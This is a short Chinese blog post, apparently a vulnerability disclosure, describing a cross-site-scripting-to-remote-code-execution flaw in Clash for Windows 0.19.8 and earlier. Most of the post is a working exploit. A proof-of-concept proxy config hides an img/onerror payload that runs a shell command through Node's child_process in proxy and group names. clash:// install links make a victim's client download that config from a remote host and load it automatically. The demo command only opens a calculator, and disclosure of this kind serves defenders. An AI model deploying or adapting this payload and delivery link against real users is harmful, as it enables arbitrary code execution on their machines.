ClashforWindows_XSS-RCE


一、ClashforWindows_RCE

Clash一个的代理软件,其支持vmess,ss,ssr等协议,通过自己的core来实现的相关代理协议。

Clash for Windows基于Clash和Electron的Windows/macOS/Linux GUI。

1.1 漏洞原因

Electron提供的clash_for_windows_pkg。该产品在代理规则配置文件中未设置严格的输入检测。

如果XSSpayload以代理的name标签存在,我们就可以在受害者的计算机上远程执行任何JavaScript代码。

1.2 影响版本

  • Version ≤ V0.19.8

1.3 poc:

port: 7890
socks-port: 7891
allow-lan: true
mode: Rule
log-level: info
external-controller: :9090
proxies:
  - name: a<img/src="1"/onerror=eval(`require("child_process").exec("calc.exe");`);>
    type: socks5
    server: 127.0.0.1
    port: "17938"
    skip-cert-verify: true
  - name: abc
    type: socks5
    server: 127.0.0.1
    port: "8088"
    skip-cert-verify: true

proxy-groups:
  -
    name: <img/src="1"/onerror=eval(`require("child_process").exec("calc.exe");`);>
    type: select
    proxies:
    - a<img/src="1"/onerror=eval(`require("child_process").exec("calc.exe");`);>

image-20220304144347109

1.4 exp:

将恶意配置文件放到互联网上,使用clash://安装它,clash_for_windows_pkg将下载并自动切换到它。

clash://install-config?url=http%3A%2F%2F1.1.1.1%3A8888%2F1.txt&name=RCE
#编码
clash://install-config?url=http://1.1.1.1:8888/1.txt&name=RCE
#举例
clash://install-config?url=http%3A%2F%2F127.0.0.1%3A8888%2F1.txt&name=a<img/src="1"/onerror=eval(`require("child_process").exec("calc.exe");`);>

image-20220304143516420

image-20220304144405224

参考链接:clashforwindows_pkg


文章作者: kin9yh
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 kin9yh !
  目录